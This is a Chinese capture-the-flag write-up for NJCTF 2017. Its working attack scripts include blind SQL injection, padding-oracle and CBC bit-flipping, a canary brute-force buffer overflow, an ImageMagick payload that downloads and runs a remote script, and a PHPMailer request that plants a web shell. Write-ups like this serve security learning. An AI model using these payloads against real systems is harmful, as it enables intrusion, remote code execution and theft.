NJCTF2017-writeup

Web

1. come on

此题是一个盲注,具体参考下面的脚本:

import requests def sqli(): payload = "" string = "abcdefABCDEF0123456789" for i in range(1, 100): flag = 0 j = 0 while not flag: payload = payload + string[j].encode('hex') j = j+1 url = "http://218.2.197.235:23733/?key=%df' || left((select%0bhex(flag)%0bfrom%0bflag),"+str(i)+") =0x"+payload+"%23" r = requests.get(url) if len(r.text) > 1000: flag = 1 print payload else: payload = payload[0:len(payload)-2] if __name__ == '__main__': sqli() 

得到:

3445344134333534343637423335343833303537354634443333354635333330344433333546373335313331363935463534373234393433364233353744 

最后将字符串Hex解码两次得到Flag:

NJCTF{5H0W_M3_S0M3_sQ1i_TrICk5} 

2. login

利用数据库中的字段长度进行截断,注册一个admin(后面全是空格)。

登录就可以找到flag。

3. be logical

注册账号密码进去后发现大概是一个,积分可以转换为金币,然后再历史纪录里面又可以将金币转换为积分。
第一个感觉肯定这个是逻辑漏洞,感觉积分和金币之间转换的时候,可以利用多线程来跑一下。

在积分转换为金币的页面得知Sign.php,后面猜解文件泄漏为.Sign.php.swp,vim -r xx.swp就可以恢复代码。这个签名验证的代码是将$_POST 的转换后,再加一个$code进行md5,所以想尝试把这个$code跑出来,跑了几个小时,6位以下的小写+数字跑完发现还没破解出来…

仔细理一下逻辑,发现其实应该不需要跑$code,因为后面有页面会把加密的sgin显示出来,所以完全可以先这样得到sgin然后去做其他的事情。所以尝试了一下多线程。

利用的代码

import requests import threading import re cookie = { 'PHPSESSID':'g3s0ngjo918f1ejm9tpqan63v2' } s = requests.session() data = { "comment":"1", "money":"500a" } def g(): #while 1: global data,cookie mydata = data.copy() mydata['point'] = '500a' mydata['mypoint'] = '0' mydata['mymoney'] = '0' print mydata r2 = s.post("http://218.2.197.235:23739/process.php",data=mydata,cookies=cookie) sign1 = r2.content.split('value="')[-1][:32] mydata['sign'] = sign1 r3 = s.post("http://218.2.197.235:23739/action.php",data=mydata,cookies=cookie) print r3.content #------ def ree(): #while 1: global data,cookie idd = 0 r = s.get("http://218.2.197.235:23739/history.php",cookies=cookie) m = re.search('<tr><td>(.*?)</td>',r.content) if m is not None: idd = m.group(1) data['id'] = idd data['username'] = "nihao" data['points'] = '500a' url = "http://218.2.197.235:23739/refundprocess.php?comment=%s&id=%s&username=%s&points=%s&money=%s" % (data['comment'],data['id'],data['username'],data['points'],data['money']) r = s.get(url,cookies=cookie) sign = r.content.split('value="')[-1][:32] if 'modified' in sign: print 'error',idd return 0 data['sign'] = sign r1 = s.post("http://218.2.197.235:23739/refund.php",data=data,cookies=cookie) if 'Success' in r1.content: print 'success',idd else: print r1.content g() ree() # re(2467) # list = [] # for i in range(5): # t = threading.Thread(target=r) # t.setDaemon(True) # t.start() # list.append(t) # for i in range(10): # t = threading.Thread(target=ree) # t.setDaemon(True) # t.start() # list.append(t) # for i in list: # i.join() 

跑了挺久感觉也不是很对,转换的时候应该是加了与数据库里面的数据进行判断,所以感觉缺少一个竞争条件。
尝试修改了money等一些参数都为500a的时候发现还是能转,发现应该是对数字做了转化,然后尝试500.0等也不行,最后测试500e1的时候发现钱加到了5000.

购买服务后,发现是图片上传的地方,可以进行图片转化,im的命令执行漏洞

poc.png

push graphic-context viewbox 0 0 640 480 image Over 0,0 0,0 '|wget xxx/down/tmp.py -P /tmp/ | python /tmp/tmp.py' pop graphic-context 

getshell后find一下没发现flag,看进程的时候发现还有人用了ew工具…看一下arp缓存得到172.17.0.19,访问时候一个邮箱系统,这个前面zctf也出了这个,PHPMailer的漏洞

curl -sq 'http://172.17.0.19' -d 'subject=<?php system($_GET[1]);?>&email=a( -X/var/www/html/uploads/lemon1.php -OQueueDirectory=/tmp )@qq.com&message=aaa&submit=Send email' 

4. be admin

.index.php.bak源码泄漏,看源码知道可进行CBC的Padding Oracle和字节翻转攻击。
进行Padding Oracle攻击的脚本:

import requests import base64 url = 'http://218.2.197.235:23737/index.php' N = 16 l = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] token = '' out = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] for i in range(1,17): for c in range(0,256): print c l[N-i] = c token = '' for m in l: token = token + chr(m) token = base64.b64encode(token) header = {'Cookie':"PHPSESSID=oot8oracn7o49ibrriscjikal4;ID=yudfxWJ2ptjjo8NLxaLeZQ%3D%3D;token="+token} res = requests.get(url, headers=header) data = res.content print data if 'ERROR' not in data: out[N-i] = c ^ i for y in range(i): l[N-y-1] = out[N-y-1] ^ (i+1) break print out 

可以将defaultId的明文读取出来为OrDinaryU5eR,接下来就是进行字节翻转攻击使得解密为admin就可以拿到flag。进行字节翻转攻击的脚本:

<?php $c = base64_decode("ndncqTzQYbXSIiXc4Gc0OA=="); $s = "OrDinaryU5eR"; $tmp = $c; $tmp[0] = chr(ord($s[0]) ^ ord($tmp[0]) ^ ord('a')); $tmp[1] = chr(ord($s[1]) ^ ord($tmp[1]) ^ ord('d')); $tmp[2] = chr(ord($s[2]) ^ ord($tmp[2]) ^ ord('m')); $tmp[3] = chr(ord($s[3]) ^ ord($tmp[3]) ^ ord('i')); $tmp[4] = chr(ord($s[4]) ^ ord($tmp[4]) ^ ord('n')); $tmp[5] = chr(ord($s[5]) ^ ord($tmp[5]) ^ 11); $tmp[6] = chr(ord($s[6]) ^ ord($tmp[6]) ^ 11); $tmp[7] = chr(ord($s[7]) ^ ord($tmp[7]) ^ 11); $tmp[8] = chr(ord($s[8]) ^ ord($tmp[8]) ^ 11); $tmp[9] = chr(ord($s[9]) ^ ord($tmp[9]) ^ 11); $tmp[10] = chr(ord($s[10]) ^ ord($tmp[10]) ^ 11); $tmp[11] = chr(ord($s[11]) ^ ord($tmp[11]) ^ 11); $tmp[12] = chr(4 ^ ord($tmp[12]) ^ 11); $tmp[13] = chr(4 ^ ord($tmp[13]) ^ 11); $tmp[14] = chr(4 ^ ord($tmp[14]) ^ 11); $tmp[15] = chr(4 ^ ord($tmp[15]) ^ 11); print base64_encode($tmp); ?> 

将得到的IV放到cookie中的token,访问得到flag。

5. wallet

有个一个压缩包www.zip,密码为njctf2017。解压缩后得到admin.php,代码经过了混淆。看代码知道有个PHP弱类型的比较和一个简单的注入。

6. get flag

flag参数是通过cat命令读取文件的,用&进行连接可以执行命令。

7. pictures’s wall

开始发现admin用户不需要密码就可以登陆,进入后台,审查元素发现有一个隐藏的上传表单,修改属性后上传,提示需要root用户
依旧空密码登陆root,还是提示需要root,修改xff头,添加cookie无果,最后通过在上传的时候修改host头为127.0.0.1实现成功登陆,在后台页面出现上传表单,然后通过phtml后缀和<script languange="php"> </script>实现上传,得到shell。

8. text wall

cookie中的lists参数由一个序列化的数组和序列化字符串进行sha1运算的值组成。测试知道会对lists进行反序列化然后将数组中的值输出到页面去。
.index.php.swo有源码泄漏

可以看到类里面有个__toString(),这魔术方法会在对象被当成字符串使用的时候自动触发,并且这个方法里可以根据source变量来读取源码。所以只要在数组的元素里再构造个类对象就好了。

48391356d1a7920b7098c17b49259579975c4ed3a:1:{i:1;O:8:"filelist":1:{s:6:"source";s:46:"/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g";}} 

flag:

NJCTF{PHP_un5erialization_a77ack_i5_very_Interes71ng} 

9. blog

这道题目是Ruby写的,不太懂但是还是能够做出来,我们关注到 schema.rb文件的user表:
其中有个admin的字段

我们发现在注册时,这些参数会以user[]进行传递,故我们可以在注册时,增加一个参数user[admin]=1

这样我们注册的用户就成为了管理员,之后在/users页面的源代码中找到了Flag:

NJCTF{G8msIzOC!*XzpYnOdgTx7jbniiwaUeCo} 

10. chall 1

首先这道题在Google搜索到了:

https://www.smrrd.de/nodejs-hacking-challenge-writeup.html 

做法差不多类似该篇文章中所提到的,但需要注意一点我们传过去的password参数会被MD5,因而我们需要得到MD5后为纯数字的字符串:

http://stackoverflow.com/questions/6825714/can-an-md5-hash-have-only-numbers-or-only-letters-in-it 
http://218.2.197.235:23729/admin 

因而,我们只需要不断提交上述的MD5后为数字的密码,便可在返回包中得到leak的信息,其中获得Flag:

NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver} 

11. chall 2

根据第一问Flag的提示,我们在源代码中寻找:

https://www.smrrd.de/data/nodejs_hacking_challenge/nodejs_chall.zip 

文章里面其实也已经写的很清楚了,我们需要修改:app.js 和 config.js 这两个文件
需要修改的具体内容博客上面也写的非常清楚了,具体值改为我们第一问的Flag就行了
然后本地访问,并抓包,获得到session和session.sig:

Cookie: session=eyJhZG1pbiI6InllcyJ9; session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo 

然后将本地获取到的cookie对应替换到比赛题目处,请求/admin即可获取到Flag,需要注意这里Flag的编码问题,有中文:

NJCTF{N0d5JS是世界上最好的语言,对吗?} 

12. Geuess(未做出)

时间上差一点点…

发现是一个包含,可以读取到源码

<?php function random_str($length = "32") { $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $str = ''; for ($i = 1; $i <= $length; ++$i) { $ch = mt_rand(0, count($set) - 1); $str .= $set[$ch]; } return $str; } session_start(); $reg = '/gif|jpg|jpeg|png/'; if (isset($_POST['submit'])) { $seed = rand(0, 999999999); mt_srand($seed); $ss = mt_rand(); $hash = md5(session_id() . $ss); setcookie('SESSI0N', $hash, time() + 3600); .... if ($check1) { $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name']; if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) } 

如果sessionid是没有的话,那么session_id()就是空字符串,这样的话,hash就是$ss的md5值,也就是纯数字,放cmd5解密就可以得到明文,也就是随机数,mt_rand生成的随机数是可以破解得到种子,所以可以再通过种子预测到后面的random_str的值,从而得到上传的文件名.

后面一个就是zip包含jpg,getshell.

Reverse

1. echoserver

我们首先发现一个字符串比较,断在strcmp函数后,在栈里找到“F1@gA”。

第二步,陷入一个无限循环。

循环下面有无效call,需要跳过

一个跳转

查看目标地址的指令,都是有效的

在死循环前强行跳转

得到“F8C60EB40BF66919A77C4BD88D45DEF4”

2. on the fly

CSAW的原题吧,直接找了脚本解

from itertools import cycle import subprocess def xor(s1, s2, enc_add): return ''.join(chr(ord(a) ^ ord(b) ^ enc_add) for a,b in zip(cycle(s1), s2)) keys = [str(x)*3 for x in range(1, 500)] # pull the encoded stuff out of the program's output out, _ = subprocess.Popen(['./re300'], stdout=subprocess.PIPE).communicate() hex_enc = out.split('\n')[0].split()[-1] enc = hex_enc.decode('hex') for key in keys: enc_add = len(enc) & 0xFF; enc = xor(key, enc, enc_add) print enc 

得到NJCTF{2c3010644150e03b6630a0b3b7f8607b}

Pwn

1.vsvs

脑洞…数字22是爆破来的,然后就不知道干啥了,瞎脑洞发现可以足够长的buffer之后的字符串会被当成命令执行(name那里)

from pwn import * #context.log_level = 'debug' #context.arch='' def login(p,code): p.recvuntil('code:') p.sendline(str(code)) def handle(p,input,name): p.recvuntil('input:') p.sendline(str(input)) p.recvuntil('name?') p.sendline(str(name)) def main(): length = 1024 ''' while True: p = remote('218.2.197.235',23749) login(p,22) payload = "a" * length + 'ls' handle(p,'muhe',payload) length += 1 p.close() ''' p = remote('218.2.197.235',23749) login(p,22) payload = "a" * length + 'cat<flag' handle(p,'muhe',payload) print p.recvline() if __name__ == '__main__': main() 

2. messager

栈溢出简单粗暴,不过需要暴力猜解canary,然后直接ret到send flag的函数那里,把flag读回来。

from pwn import * context.log_level = 'debug' context.arch = 'amd64' LOCAL = False ''' if LOCAL: p = process('filename') else: p = remote('127.0.0.1',5555) ''' def crack_canary(): canary = "\x00" while True: if len(canary) == 8: break for item in range(0xff): canary_tmp = canary + chr(item) try: r = remote('218.2.197.234', 2090) #r = remote('127.0.0.1',5555) r.recvuntil("Welcome!\n") payload = "A"*(0x70-8) payload += canary_tmp r.send(payload) data = r.recv(100,timeout=1) if "Message received!" in data: canary += chr(item) log.info("get:{0}".format(hex(item))) break r.close() except: continue #raw_input("now,stop") log.info("[*] canary:{0}".format(hex(u64(canary)))) return canary def main(): #canary_local = 0x977e4ba376461900 canary = 0x9dccf42e364dcf00 payload = "a" *(0x70-0x8) + p64(canary) + "aaaaaaaa"+p64(0x0000000000400BC6) r = remote('218.2.197.234', 2090) r.recvuntil("Welcome!\n") r.send(payload) print r.recvline(1024,timeout=0.5) r.close() if __name__ == '__main__': main() 

Misc

1. check QQ

来QQ群签到得到flag。

2. easy crypto

第一步爆破出key

#include <stdlib.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { FILE* input_file = fopen("plain.txt", "rb"); FILE* output_file = fopen("cipher.txt", "rb"); if (!input_file || !output_file) { printf("Error\n"); return 0; } char key[] = "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"; char p=0,t=0,c=0,r=0; int i = 0; while (i<32) { p = fgetc(input_file); c = fgetc(output_file); for (key[i] = 0x21; key[i] < (int)0x7d; ++key[i]) { r = (((key[i % strlen(key)] ^ t) + (p - t) + i*i) & 0xff); if (c == r) break; } t = p; i++; } printf("%s", key); return 0; } 

由key逆算出原文flag(我用了爆破就不写逆了)

#include <stdlib.h> #include <stdio.h> #include <string.h> char key[] = "OKIWILLLETYOUKNOWWHATTHEKEYIS"; char FLAG[32] = { 0 }; char p = 0, t = 0, c = 0; char yuanwen = 0, miwen = 0; int i = 0; char temp; int main(int argc, char **argv) { FILE* input_file = fopen("flag.txt", "rb"); while ((miwen = fgetc(input_file)) != EOF) { for (char yuanwen = 0x0; yuanwen <= (int )0x7d; ++yuanwen) { temp = (((key[i % strlen(key)] ^ t) + (yuanwen - t) + i*i) & 0xff); if (miwen == temp) { c = yuanwen; break; } } t = c; FLAG[i] = c; i++; } printf("%s\n", FLAG); return 0; } 

3. knock

附件中是两个txt文件

knock.txt:

zjqzhexjzmooqrssaidaiynlebnzjovosltahzjerhorrqxoeironlobdozavoouzjovosqfqsltahmqnqrrjotoerzjohorrqxoebooqydrztyqqojolx 

text.txt

...._....._.._...._..._....._...._..._..._...._...._......._._...._....._.._...._..._..._...._...._..._..._...._.._..._......._.................. 

先讲knock.txt用磁频分析,找出差不多正确的语句。

that might be easy you could find the key from this message i used fence to keep the key qfqs_ltah_mqn qrr joto er zjo horrqxo ebooqydrztyqqojolx 

前半句已经差不多正确了,主要是后面的

通过观察可以发现,这里的词与词之间的间隔和text.txt是里面的点和下划线是差不多的。所以按这样分开,然后按照已经正常的前半句的字母对应关系翻译出来

是这样:

that might be easy you could find the key from this message i used fence to keep the key away from bad ass here is the message ineealcstrlaaehefg

最后的字符还是乱,但是语句里面提示了栅栏密码。所以试试,3栏时得出:

icanseetherealflag 

这就是flag了,外面加上NJCTF{}即可。

Mobile

1.safebox

暴力跑testAndroid里的check逻辑,可以得到两组解,只有一组符合要求。

package com.muhe; import javafx.beans.property.IntegerProperty; import java.util.ArrayList; public class Main { public static void main(String[] args) { String flag = "NJCTF{have"; int num1 = 48533584; System.out.println(flag + (((char)(num1 / 1000000))) + (((char)(num1 / 10000 % 100))) + (((char)(num1 / 100 % 100+10))) + "f4n}"); num1 = 48539584; System.out.println(flag + (((char) (num1 / 1000000))) + (((char) (num1 / 10000 % 100))) + (((char) (num1 / 100 % 100 + 10))) + "f4n}"); Crack ck = new Crack(); ArrayList list = new ArrayList(); int num = 10000000; while (true){ if(num>99999999){ break; } boolean ret = ck.crack(num); if(ret){ list.add(num); } num += 1; } System.out.println("Done"); for(int i = 0;i<list.size();i++){ System.out.println(list.get(i)); } } } 
package com.muhe; /** * Created by muhe on 2017/3/11. */ public class Crack { public boolean crack(int v4) { int v11 = 3; if(v4 > 10000000 && v4 < 99999999) { int v7 = 1; int v8 = 10000000; int v3 = 1; if(Math.abs(v4 / 1000 % 100 - 36) == v11 && v4 % 1000 % 584 == 0) { int v5 = 0; while(v5 < v11) { if(v4 / v7 % 10 != v4 / v8 % 10) { v3 = 0; } else { v7 *= 10; v8 /= 10; ++v5; continue; } break; } if(v3 != 1) { return false; } return true; } } return false; } } 

得到结果

NJCTF{have05-f4n} NJCTF{have05if4n} //这个就是flag Done 48533584 48539584